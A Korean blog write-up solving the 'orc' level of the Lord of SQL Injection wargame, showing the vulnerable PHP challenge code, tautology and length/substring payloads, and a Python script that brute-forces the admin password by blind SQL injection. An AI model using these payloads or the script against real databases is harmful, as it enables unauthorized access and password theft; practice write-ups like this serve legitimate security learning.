1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
|
cs |
pw=1' or '1'='1 로 입력하면 hello admin이 출력된다. 그러나 문제를 풀려면 아래 조건을 만족해야 한다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
실제 pw값과 입력한 pw값이 같아야 한다.
그러기 위해서는 pw값을 구해야 한다.
pw부분이 true가 되면 hello admin이 출력되는 것을 이용해서 블라인드 sqli을 하면 된다.
length를 이용해서 pw의 길이를 구한 뒤에
substr()함수를 이용해서 한자리씩 구하면 된다. 직접 수작업으로 하는 건 힘들기 때문에 자동화 코드를 짜서 돌리면 된다.
?pw=1' or '1'='1' and length(pw) = 8%23
query : select id from prob_orc where id='admin' and pw='1' or '1'='1' and length(pw) = 8#'
pw의 길이가 8임을 알 수 있다.
이제 pw를 구하자.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
import urllib
import urllib2
import sys
import time
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
key = ""
for i in range(8):
for j in range(len(string)):
payload = "1' or '1'='1' and(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
payload = urllib.quote(payload)
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw="+payload
print url
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie', 'PHPSESSID=ur_cookie_value')
request.get_method = lambda:'GET'
data = opener.open(request)
data = data.read()
if "Hello admin" in data:
key += string[j]
print "[*] Find Password!! Password is ["+key+"]"
break
else:
print "[-] Fail!"
time.sleep(0.1)
|
cs |
ur_cookie_value 에 본인 쿠키값 입력.
처음에
string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$^&*()-_+="
로 사용하면 패스워드가 djfasioe로 나온다.
그런데 첫 글자에 0을 넣어도 True가 된다.
그래서 string을 바꿔서
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
로 하면 제대로 된 pw가 나온다.
'WAR GAME > Lord of SQLi' 카테고리의 다른 글
LORD OF SQL INJECTION [darkelf] 풀이 (0) | 2019.10.27 |
---|---|
LORD OF SQL INJECTION [wolfman] 풀이 (0) | 2019.10.26 |
LORD OF SQL INJECTION [goblin] 풀이 (0) | 2019.10.24 |
LORD OF SQL INJECTION [cobolt] 풀이 (0) | 2019.10.23 |
LORD OF SQL INJECTION [gremlin] 풀이 (0) | 2019.10.22 |